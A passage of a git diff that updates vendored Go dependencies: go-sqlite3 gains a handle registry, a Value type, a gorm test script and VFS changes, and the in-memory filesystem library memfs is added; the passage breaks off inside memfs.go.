a/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh new file mode 100644 index 0000000000..4fc43ce7ce --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +set -euo pipefail + +cd -P -- "$(dirname -- "$0")" + +rm -rf gorm/ tests/ "$(dirname $(mktemp -u))/gorm.db" +git clone --filter=blob:none https://github.com/go-gorm/gorm.git +mv gorm/tests tests +rm -rf gorm/ + +patch -p1 -N < tests.patch + +cd tests +go mod edit \ + -require github.com/ncruces/go-sqlite3/gormlite@v0.0.0 \ + -replace github.com/ncruces/go-sqlite3/gormlite=../ \ + -replace github.com/ncruces/go-sqlite3=../../ \ + -droprequire gorm.io/driver/sqlite \ + -dropreplace gorm.io/gorm +go mod tidy && go work use . && go test + +cd .. +rm -rf tests/ "$(dirname $(mktemp -u))/gorm.db" +go work use -r . \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch new file mode 100644 index 0000000000..01269e3931 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch @@ -0,0 +1,31 @@ +diff --git a/tests/.gitignore b/tests/.gitignore +--- a/tests/.gitignore ++++ b/tests/.gitignore +@@ -1 +1 @@ +-go.sum ++* +diff --git a/tests/tests_test.go b/tests/tests_test.go +--- a/tests/tests_test.go ++++ b/tests/tests_test.go +@@ -7,9 +7,11 @@ import ( + "path/filepath" + "time" + ++ _ "github.com/ncruces/go-sqlite3/embed" ++ sqlite "github.com/ncruces/go-sqlite3/gormlite" ++ + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" +- "gorm.io/driver/sqlite" + "gorm.io/driver/sqlserver" + "gorm.io/gorm" + "gorm.io/gorm/logger" +@@ -89,7 +91,7 @@ func OpenTestConnection(cfg *gorm.Config) (db *gorm.DB, err error) { + db, err = gorm.Open(mysql.Open(dbDSN), cfg) + default: + log.Println("testing sqlite3...") +- db, err = gorm.Open(sqlite.Open(filepath.Join(os.TempDir(), "gorm.db?_foreign_keys=on")), cfg) ++ db, err = gorm.Open(sqlite.Open("file:"+filepath.Join(os.TempDir(), "gorm.db")+"?_pragma=busy_timeout(1000)&_pragma=foreign_keys(1)"), cfg) + } + + if err != nil { diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go index 65efe3b39e..9ff775774c 100644 --- a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go @@ -10,6 +10,32 @@ import ( type i32 interface{ ~int32 | ~uint32 } type i64 interface{ ~int64 | ~uint64 } +type funcVI[T0 i32] func(context.Context, api.Module, T0) + +func (fn funcVI[T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0])) +} + +func ExportFuncVI[T0 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVI[T0](fn), + []api.ValueType{api.ValueTypeI32}, nil). + Export(name) +} + +type funcVIII[T0, T1, T2 i32] func(context.Context, api.Module, T0, T1, T2) + +func (fn funcVIII[T0, T1, T2]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0]), T1(stack[1]), T2(stack[2])) +} + +func ExportFuncVIII[T0, T1, T2 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0, T1, T2)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVIII[T0, T1, T2](fn), + []api.ValueType{api.ValueTypeI32, api.ValueTypeI32, api.ValueTypeI32}, nil). + Export(name) +} + type funcII[TR, T0 i32] func(context.Context, api.Module, T0) TR func (fn funcII[TR, T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go new file mode 100644 index 0000000000..2309ed478f --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go @@ -0,0 +1,75 @@ +package util + +import ( + "context" + "io" + + "github.com/tetratelabs/wazero/experimental" +) + +type handleKey struct{} +type handleState struct { + handles []any + empty int +} + +func NewContext(ctx context.Context) context.Context { + state := new(handleState) + ctx = experimental.WithCloseNotifier(ctx, state) + ctx = context.WithValue(ctx, handleKey{}, state) + return ctx +} + +func (s *handleState) CloseNotify(ctx context.Context, exitCode uint32) { + for _, h := range s.handles { + if c, ok := h.(io.Closer); ok { + c.Close() + } + } + s.handles = nil + s.empty = 0 +} + +func GetHandle(ctx context.Context, id uint32) any { + if id == 0 { + return nil + } + s := ctx.Value(handleKey{}).(*handleState) + return s.handles[^id] +} + +func DelHandle(ctx context.Context, id uint32) error { + if id == 0 { + return nil + } + s := ctx.Value(handleKey{}).(*handleState) + a := s.handles[^id] + s.handles[^id] = nil + s.empty++ + if c, ok := a.(io.Closer); ok { + return c.Close() + } + return nil +} + +func AddHandle(ctx context.Context, a any) (id uint32) { + if a == nil { + panic(NilErr) + } + s := ctx.Value(handleKey{}).(*handleState) + + // Find an empty slot. + if s.empty > cap(s.handles)-len(s.handles) { + for id, h := range s.handles { + if h == nil { + s.empty-- + s.handles[id] = a + return ^uint32(id) + } + } + } + + // Add a new slot. + s.handles = append(s.handles, a) + return -uint32(len(s.handles)) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/module.go b/vendor/github.com/ncruces/go-sqlite3/sqlite.go similarity index 57% rename from vendor/github.com/ncruces/go-sqlite3/module.go rename to vendor/github.com/ncruces/go-sqlite3/sqlite.go index e279601629..f442a723d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/module.go +++ b/vendor/github.com/ncruces/go-sqlite3/sqlite.go @@ -3,7 +3,6 @@ package sqlite3 import ( "context" - "io" "math" "os" "sync" @@ -25,70 +24,67 @@ var ( Path string // Path to load the binary from. ) -var sqlite3 struct { +var instance struct { runtime wazero.Runtime compiled wazero.CompiledModule err error once sync.Once } -func instantiateModule() (*module, error) { +func compileSQLite() { ctx := context.Background() + instance.runtime = wazero.NewRuntime(ctx) - sqlite3.once.Do(compileModule) - if sqlite3.err != nil { - return nil, sqlite3.err - } - - cfg := wazero.NewModuleConfig() - - mod, err := sqlite3.runtime.InstantiateModule(ctx, sqlite3.compiled, cfg) - if err != nil { - return nil, err - } - return newModule(mod) -} - -func compileModule() { - ctx := context.Background() - sqlite3.runtime = wazero.NewRuntime(ctx) - - env := vfs.ExportHostFunctions(sqlite3.runtime.NewHostModuleBuilder("env")) - _, sqlite3.err = env.Instantiate(ctx) - if sqlite3.err != nil { + env := instance.runtime.NewHostModuleBuilder("env") + env = vfs.ExportHostFunctions(env) + env = exportHostFunctions(env) + _, instance.err = env.Instantiate(ctx) + if instance.err != nil { return } bin := Binary if bin == nil && Path != "" { - bin, sqlite3.err = os.ReadFile(Path) - if sqlite3.err != nil { + bin, instance.err = os.ReadFile(Path) + if instance.err != nil { return } } if bin == nil { - sqlite3.err = util.BinaryErr + instance.err = util.BinaryErr return } - sqlite3.compiled, sqlite3.err = sqlite3.runtime.CompileModule(ctx, bin) + instance.compiled, instance.err = instance.runtime.CompileModule(ctx, bin) } -type module struct { - ctx context.Context - mod api.Module - vfs io.Closer - api sqliteAPI - arg [8]uint64 +type sqlite struct { + ctx context.Context + mod api.Module + api sqliteAPI + stack [8]uint64 } -func newModule(mod api.Module) (m *module, err error) { - m = new(module) - m.mod = mod - m.ctx, m.vfs = vfs.NewContext(context.Background()) +type sqliteKey struct{} + +func instantiateSQLite() (sqlt *sqlite, err error) { + instance.once.Do(compileSQLite) + if instance.err != nil { + return nil, instance.err + } + + sqlt = new(sqlite) + sqlt.ctx = util.NewContext(context.Background()) + sqlt.ctx = context.WithValue(sqlt.ctx, sqliteKey{}, sqlt) + + sqlt.mod, err = instance.runtime.InstantiateModule(sqlt.ctx, + instance.compiled, wazero.NewModuleConfig()) + if err != nil { + return nil, err + } getFun := func(name string) api.Function { - f := mod.ExportedFunction(name) + f := sqlt.mod.ExportedFunction(name) if f == nil { err = util.NoFuncErr + util.ErrorString(name) return nil @@ -97,15 +93,15 @@ func newModule(mod api.Module) (m *module, err error) { } getVal := func(name string) uint32 { - g := mod.ExportedGlobal(name) + g := sqlt.mod.ExportedGlobal(name) if g == nil { err = util.NoGlobalErr + util.ErrorString(name) return 0 } - return util.ReadUint32(mod, uint32(g.Get())) + return util.ReadUint32(sqlt.mod, uint32(g.Get())) } - m.api = sqliteAPI{ + sqlt.api = sqliteAPI{ free: getFun("free"), malloc: getFun("malloc"), destructor: getVal("malloc_destructor"), @@ -153,20 +149,43 @@ func newModule(mod api.Module) (m *module, err error) { changes: getFun("sqlite3_changes64"), lastRowid: getFun("sqlite3_last_insert_rowid"), autocommit: getFun("sqlite3_get_autocommit"), + anyCollation: getFun("sqlite3_anycollseq_init"), + createCollation: getFun("sqlite3_create_collation_go"), + createFunction: getFun("sqlite3_create_function_go"), + createAggregate: getFun("sqlite3_create_aggregate_function_go"), + createWindow: getFun("sqlite3_create_window_function_go"), + aggregateCtx: getFun("sqlite3_aggregate_context"), + userData: getFun("sqlite3_user_data"), + setAuxData: getFun("sqlite3_set_auxdata_go"), + getAuxData: getFun("sqlite3_get_auxdata"), + valueType: getFun("sqlite3_value_type"), + valueInteger: getFun("sqlite3_value_int64"), + valueFloat: getFun("sqlite3_value_double"), + valueText: getFun("sqlite3_value_text"), + valueBlob: getFun("sqlite3_value_blob"), + valueBytes: getFun("sqlite3_value_bytes"), + resultNull: getFun("sqlite3_result_null"), + resultInteger: getFun("sqlite3_result_int64"), + resultFloat: getFun("sqlite3_result_double"), + resultText: getFun("sqlite3_result_text64"), + resultBlob: getFun("sqlite3_result_blob64"), + resultZeroBlob: getFun("sqlite3_result_zeroblob64"), + resultError: getFun("sqlite3_result_error"), + resultErrorCode: getFun("sqlite3_result_error_code"), + resultErrorMem: getFun("sqlite3_result_error_nomem"), + resultErrorBig: getFun("sqlite3_result_error_toobig"), } if err != nil { return nil, err } - return m, nil + return sqlt, nil } -func (m *module) close() error { - err := m.mod.Close(m.ctx) - m.vfs.Close() - return err +func (sqlt *sqlite) close() error { + return sqlt.mod.Close(sqlt.ctx) } -func (m *module) error(rc uint64, handle uint32, sql ...string) error { +func (sqlt *sqlite) error(rc uint64, handle uint32, sql ...string) error { if rc == _OK { return nil } @@ -177,16 +196,16 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error { panic(util.OOMErr) } - if r := m.call(m.api.errstr, rc); r != 0 { - err.str = util.ReadString(m.mod, uint32(r), _MAX_STRING) + if r := sqlt.call(sqlt.api.errstr, rc); r != 0 { + err.str = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING) } - if r := m.call(m.api.errmsg, uint64(handle)); r != 0 { - err.msg = util.ReadString(m.mod, uint32(r), _MAX_STRING) + if r := sqlt.call(sqlt.api.errmsg, uint64(handle)); r != 0 { + err.msg = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING) } if sql != nil { - if r := m.call(m.api.erroff, uint64(handle)); r != math.MaxUint32 { + if r := sqlt.call(sqlt.api.erroff, uint64(handle)); r != math.MaxUint32 { err.sql = sql[0][r:] } } @@ -198,60 +217,58 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error { return &err } -func (m *module) call(fn api.Function, params ...uint64) uint64 { - copy(m.arg[:], params) - err := fn.CallWithStack(m.ctx, m.arg[:]) +func (sqlt *sqlite) call(fn api.Function, params ...uint64) uint64 { + copy(sqlt.stack[:], params) + err := fn.CallWithStack(sqlt.ctx, sqlt.stack[:]) if err != nil { - // The module closed or panicked; release resources. - m.vfs.Close() panic(err) } - return m.arg[0] + return sqlt.stack[0] } -func (m *module) free(ptr uint32) { +func (sqlt *sqlite) free(ptr uint32) { if ptr == 0 { return } - m.call(m.api.free, uint64(ptr)) + sqlt.call(sqlt.api.free, uint64(ptr)) } -func (m *module) new(size uint64) uint32 { +func (sqlt *sqlite) new(size uint64) uint32 { if size > _MAX_ALLOCATION_SIZE { panic(util.OOMErr) } - ptr := uint32(m.call(m.api.malloc, size)) + ptr := uint32(sqlt.call(sqlt.api.malloc, size)) if ptr == 0 && size != 0 { panic(util.OOMErr) } return ptr } -func (m *module) newBytes(b []byte) uint32 { +func (sqlt *sqlite) newBytes(b []byte) uint32 { if b == nil { return 0 } - ptr := m.new(uint64(len(b))) - util.WriteBytes(m.mod, ptr, b) + ptr := sqlt.new(uint64(len(b))) + util.WriteBytes(sqlt.mod, ptr, b) return ptr } -func (m *module) newString(s string) uint32 { - ptr := m.new(uint64(len(s) + 1)) - util.WriteString(m.mod, ptr, s) +func (sqlt *sqlite) newString(s string) uint32 { + ptr := sqlt.new(uint64(len(s) + 1)) + util.WriteString(sqlt.mod, ptr, s) return ptr } -func (m *module) newArena(size uint64) arena { +func (sqlt *sqlite) newArena(size uint64) arena { return arena{ - m: m, - base: m.new(size), + sqlt: sqlt, size: uint32(size), + base: sqlt.new(size), } } type arena struct { - m *module + sqlt *sqlite ptrs []uint32 base uint32 next uint32 @@ -259,17 +276,17 @@ type arena struct { } func (a *arena) free() { - if a.m == nil { + if a.sqlt == nil { return } a.reset() - a.m.free(a.base) - a.m = nil + a.sqlt.free(a.base) + a.sqlt = nil } func (a *arena) reset() { for _, ptr := range a.ptrs { - a.m.free(ptr) + a.sqlt.free(ptr) } a.ptrs = nil a.next = 0 @@ -281,7 +298,7 @@ func (a *arena) new(size uint64) uint32 { a.next += uint32(size) return ptr } - ptr := a.m.new(size) + ptr := a.sqlt.new(size) a.ptrs = append(a.ptrs, ptr) return ptr } @@ -291,13 +308,13 @@ func (a *arena) bytes(b []byte) uint32 { return 0 } ptr := a.new(uint64(len(b))) - util.WriteBytes(a.m.mod, ptr, b) + util.WriteBytes(a.sqlt.mod, ptr, b) return ptr } func (a *arena) string(s string) uint32 { ptr := a.new(uint64(len(s) + 1)) - util.WriteString(a.m.mod, ptr, s) + util.WriteString(a.sqlt.mod, ptr, s) return ptr } @@ -317,10 +334,10 @@ type sqliteAPI struct { step api.Function exec api.Function clearBindings api.Function - bindNull api.Function bindCount api.Function bindIndex api.Function bindName api.Function + bindNull api.Function bindInteger api.Function bindFloat api.Function bindText api.Function @@ -348,5 +365,30 @@ type sqliteAPI struct { changes api.Function lastRowid api.Function autocommit api.Function + anyCollation api.Function + createCollation api.Function + createFunction api.Function + createAggregate api.Function + createWindow api.Function + aggregateCtx api.Function + userData api.Function + setAuxData api.Function + getAuxData api.Function + valueType api.Function + valueInteger api.Function + valueFloat api.Function + valueText api.Function + valueBlob api.Function + valueBytes api.Function + resultNull api.Function + resultInteger api.Function + resultFloat api.Function + resultText api.Function + resultBlob api.Function + resultZeroBlob api.Function + resultError api.Function + resultErrorCode api.Function + resultErrorMem api.Function + resultErrorBig api.Function destructor uint32 } diff --git a/vendor/github.com/ncruces/go-sqlite3/stmt.go b/vendor/github.com/ncruces/go-sqlite3/stmt.go index 2fae0b40fb..c26de44cc2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/stmt.go +++ b/vendor/github.com/ncruces/go-sqlite3/stmt.go @@ -131,10 +131,11 @@ func (s *Stmt) BindName(param int) string { // // https://www.sqlite.org/c3ref/bind_blob.html func (s *Stmt) BindBool(param int, value bool) error { + var i int64 if value { - return s.BindInt64(param, 1) + i = 1 } - return s.BindInt64(param, 0) + return s.BindInt64(param, i) } // BindInt binds an int to the prepared statement. @@ -374,18 +375,7 @@ func (s *Stmt) ColumnBlob(col int, buf []byte) []byte { func (s *Stmt) ColumnRawText(col int) []byte { r := s.c.call(s.c.api.columnText, uint64(s.handle), uint64(col)) - - ptr := uint32(r) - if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) - s.err = s.c.error(r) - return nil - } - - r = s.c.call(s.c.api.columnBytes, - uint64(s.handle), uint64(col)) - - return util.View(s.c.mod, ptr, r) + return s.columnRawBytes(col, uint32(r)) } // ColumnRawBlob returns the value of the result column as a []byte. @@ -397,17 +387,18 @@ func (s *Stmt) ColumnRawText(col int) []byte { func (s *Stmt) ColumnRawBlob(col int) []byte { r := s.c.call(s.c.api.columnBlob, uint64(s.handle), uint64(col)) + return s.columnRawBytes(col, uint32(r)) +} - ptr := uint32(r) +func (s *Stmt) columnRawBytes(col int, ptr uint32) []byte { if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) + r := s.c.call(s.c.api.errcode, uint64(s.c.handle)) s.err = s.c.error(r) return nil } - r = s.c.call(s.c.api.columnBytes, + r := s.c.call(s.c.api.columnBytes, uint64(s.handle), uint64(col)) - return util.View(s.c.mod, ptr, r) } diff --git a/vendor/github.com/ncruces/go-sqlite3/value.go b/vendor/github.com/ncruces/go-sqlite3/value.go new file mode 100644 index 0000000000..aed10561e5 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/value.go @@ -0,0 +1,125 @@ +package sqlite3 + +import ( + "math" + "time" + + "github.com/ncruces/go-sqlite3/internal/util" +) + +// Value is any value that can be stored in a database table. +// +// https://www.sqlite.org/c3ref/value.html +type Value struct { + *sqlite + handle uint32 +} + +// Type returns the initial [Datatype] of the value. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Type() Datatype { + r := v.call(v.api.valueType, uint64(v.handle)) + return Datatype(r) +} + +// Bool returns the value as a bool. +// SQLite does not have a separate boolean storage class. +// Instead, boolean values are retrieved as integers, +// with 0 converted to false and any other value to true. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Bool() bool { + if i := v.Int64(); i != 0 { + return true + } + return false +} + +// Int returns the value as an int. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Int() int { + return int(v.Int64()) +} + +// Int64 returns the value as an int64. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Int64() int64 { + r := v.call(v.api.valueInteger, uint64(v.handle)) + return int64(r) +} + +// Float returns the value as a float64. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Float() float64 { + r := v.call(v.api.valueFloat, uint64(v.handle)) + return math.Float64frombits(r) +} + +// Time returns the value as a [time.Time]. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Time(format TimeFormat) time.Time { + var a any + switch v.Type() { + case INTEGER: + a = v.Int64() + case FLOAT: + a = v.Float() + case TEXT, BLOB: + a = v.Text() + case NULL: + return time.Time{} + default: + panic(util.AssertErr()) + } + t, _ := format.Decode(a) + return t +} + +// Text returns the value as a string. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Text() string { + return string(v.RawText()) +} + +// Blob appends to buf and returns +// the value as a []byte. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Blob(buf []byte) []byte { + return append(buf, v.RawBlob()...) +} + +// RawText returns the value as a []byte. +// The []byte is owned by SQLite and may be invalidated by +// subsequent calls to [Value] methods. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) RawText() []byte { + r := v.call(v.api.valueText, uint64(v.handle)) + return v.rawBytes(uint32(r)) +} + +// RawBlob returns the value as a []byte. +// The []byte is owned by SQLite and may be invalidated by +// subsequent calls to [Value] methods. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) RawBlob() []byte { + r := v.call(v.api.valueBlob, uint64(v.handle)) + return v.rawBytes(uint32(r)) +} + +func (v Value) rawBytes(ptr uint32) []byte { + if ptr == 0 { + return nil + } + + r := v.call(v.api.valueBytes, uint64(v.handle)) + return util.View(v.mod, ptr, r) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go index 7425096241..158f1731d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go @@ -15,7 +15,7 @@ type VFS interface { FullPathname(name string) (string, error) } -// VFSParams extends VFS to with the ability to handle URI parameters +// VFSParams extends VFS with the ability to handle URI parameters // through the OpenParams method. // // https://www.sqlite.org/c3ref/uri_boolean.html diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go new file mode 100644 index 0000000000..035458e687 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go @@ -0,0 +1,9 @@ +//go:build !go1.21 + +package vfs + +func clear(b []byte) { + for i := range b { + b[i] = 0 + } +} diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go index e50bacffc8..3114705b7b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go @@ -44,33 +44,6 @@ func ExportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder return env } -type vfsKey struct{} -type vfsState struct { - files []File -} - -// NewContext is an internal API users need not call directly. -// -// NewContext creates a new context to hold [api.Module] specific VFS data. -// The context should be passed to any [api.Function] calls that might -// generate VFS host callbacks. -// The returned [io.Closer] should be closed after the [api.Module] is closed, -// to release any associated resources. -func NewContext(ctx context.Context) (context.Context, io.Closer) { - vfs := new(vfsState) - return context.WithValue(ctx, vfsKey{}, vfs), vfs -} - -func (vfs *vfsState) Close() error { - for _, f := range vfs.files { - if f != nil { - f.Close() - } - } - vfs.files = nil - return nil -} - func vfsFind(ctx context.Context, mod api.Module, zVfsName uint32) uint32 { name := util.ReadString(mod, zVfsName, _MAX_STRING) if vfs := Find(name); vfs != nil && vfs != (vfsOS{}) { @@ -183,6 +156,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla file, flags, err = vfs.Open(path, flags) } + if err != nil { + return vfsErrorCode(err, _CANTOPEN) + } + if file, ok := file.(FilePowersafeOverwrite); ok { if !parsed { params = vfsURIParameters(ctx, mod, zPath, flags) @@ -192,14 +169,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla } } - if err != nil { - return vfsErrorCode(err, _CANTOPEN) - } - - vfsFileRegister(ctx, mod, pFile, file) if pOutFlags != 0 { util.WriteUint32(mod, pOutFlags, uint32(flags)) } + vfsFileRegister(ctx, mod, pFile, file) return _OK } @@ -431,40 +404,22 @@ func vfsGet(mod api.Module, pVfs uint32) VFS { panic(util.NoVFSErr + util.ErrorString(name)) } -func vfsFileNew(vfs *vfsState, file File) uint32 { - // Find an empty slot. - for id, f := range vfs.files { - if f == nil { - vfs.files[id] = file - return uint32(id) - } - } - - // Add a new slot. - vfs.files = append(vfs.files, file) - return uint32(len(vfs.files) - 1) -} - func vfsFileRegister(ctx context.Context, mod api.Module, pFile uint32, file File) { const fileHandleOffset = 4 - id := vfsFileNew(ctx.Value(vfsKey{}).(*vfsState), file) + id := util.AddHandle(ctx, file) util.WriteUint32(mod, pFile+fileHandleOffset, id) } func vfsFileGet(ctx context.Context, mod api.Module, pFile uint32) File { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - return vfs.files[id] + return util.GetHandle(ctx, id).(File) } func vfsFileClose(ctx context.Context, mod api.Module, pFile uint32) error { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - file := vfs.files[id] - vfs.files[id] = nil - return file.Close() + return util.DelHandle(ctx, id) } func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { @@ -477,9 +432,3 @@ func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { } return def } - -func clear(b []byte) { - for i := range b { - b[i] = 0 - } -} diff --git a/vendor/github.com/psanford/memfs/LICENSE b/vendor/github.com/psanford/memfs/LICENSE new file mode 100644 index 0000000000..fbf711fd73 --- /dev/null +++ b/vendor/github.com/psanford/memfs/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2021 The memfs Authors. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of Google Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/psanford/memfs/Readme.md b/vendor/github.com/psanford/memfs/Readme.md new file mode 100644 index 0000000000..ae85f8754f --- /dev/null +++ b/vendor/github.com/psanford/memfs/Readme.md @@ -0,0 +1,50 @@ +# memfs: A simple in-memory io/fs.FS filesystem + +memfs is an in-memory implementation of Go's io/fs.FS interface. +The goal is to make it easy and quick to build an fs.FS filesystem +when you don't have any complex requirements. + +Documentation: https://pkg.go.dev/github.com/psanford/memfs + +`io/fs` docs: https://tip.golang.org/pkg/io/fs/ + +## Usage + +``` +package main + +import ( + "fmt" + "io/fs" + + "github.com/psanford/memfs" +) + +func main() { + rootFS := memfs.New() + + err := rootFS.MkdirAll("dir1/dir2", 0777) + if err != nil { + panic(err) + } + + err = rootFS.WriteFile("dir1/dir2/f1.txt", []byte("incinerating-unsubstantial"), 0755) + if err != nil { + panic(err) + } + + err = fs.WalkDir(rootFS, ".", func(path string, d fs.DirEntry, err error) error { + fmt.Println(path) + return nil + }) + if err != nil { + panic(err) + } + + content, err := fs.ReadFile(rootFS, "dir1/dir2/f1.txt") + if err != nil { + panic(err) + } + fmt.Printf("%s\n", content) +} +``` diff --git a/vendor/github.com/psanford/memfs/memfs.go b/vendor/github.com/psanford/memfs/memfs.go new file mode 100644 index 0000000000..311ca6bd6d --- /dev/null +++ b/vendor/github.com/psanford/memfs/memfs.go @@ -0,0 +1,427 @@ +package memfs + +import ( + "bytes" + "errors" + "fmt" + "io/fs" + "os" + syspath "path" + "strings" + "sync" + "time" +) + +// FS is an in-memory filesystem that implements +// io/fs.FS +type FS struct { + dir *dir +} + +// New creates a new in-memory FileSystem. +func New() *FS { + return &FS{ + dir: &dir{ + children: make(map[string]childI), + }, + } +} + +// MkdirAll creates a directory named path, +// along with any necessary parents, and returns nil, +// or else returns an error. +// The permission bits perm (before umask) are used for all +// directories that MkdirAll creates. +// If path is already a directory, MkdirAll does nothing +// and returns nil. +func (rootFS *FS) MkdirAll(path string, perm os.FileMode) error { + if !fs.ValidPath(path) { + return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir always exists + return nil + } + + parts := strings.Split(path, "/") + + next := rootFS.dir + for _, part := range parts { + cur := next + cur.mu.Lock() + child := cur.children[part] + if child == nil { + newDir := &dir{ + name: part, + perm: perm, + children: make(map[string]childI), + } + cur.children[part] = newDir + next = newDir + } else { + childDir, ok := child.(*dir) + if !ok { + return fmt.Errorf("not a directory: %s: %w", part, fs.ErrInvalid) + } + next = childDir + } + cur.mu.Unlock() + } + + return nil +} + +func (rootFS *FS) getDir(path string) (*dir, error) { + if path == "" { + return rootFS.dir, nil + } + parts := strings.Split(path, "/") + + cur := rootFS.dir + for _, part := range parts { + err := func() error { + cur.mu.Lock() + defer cur.mu.Unlock() + child := cur.children[part] + if child == nil { + return fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist) + } else { + childDir, ok := child.(*dir) + if !ok { + return fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist) + } + cur = childDir + } + return nil + }() + if err != nil { + return nil, err + } + } + + return cur, nil +} + +func (rootFS *FS) get(path string) (childI, error) { + if path == "" { + return rootFS.dir, nil + } + + parts := strings.Split(path, "/") + + var ( + cur = rootFS.dir + + chld childI + err error + ) + for i, part := range parts { + chld, err = func() (childI, error) { + cur.mu.Lock() + defer cur.mu.Unlock() + child := cur.children[part] + if child == nil { + return nil, fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist) + } else { + _, isFile := child.(*File) + if isFile { + if i == len(parts)-1 { + return child, nil + } else { + return nil, fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist) + } + } + + childDir, ok := child.(*dir) + if !ok { + return nil, errors.New("not a directory") + } + cur = childDir + } + return child, nil + }() + if err != nil { + return nil, err + } + } + + return chld, nil +} + +func (rootFS *FS) create(path string) (*File, error) { + if !fs.ValidPath(path) { + return nil, fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir + path = "" + } + + dirPart, filePart := 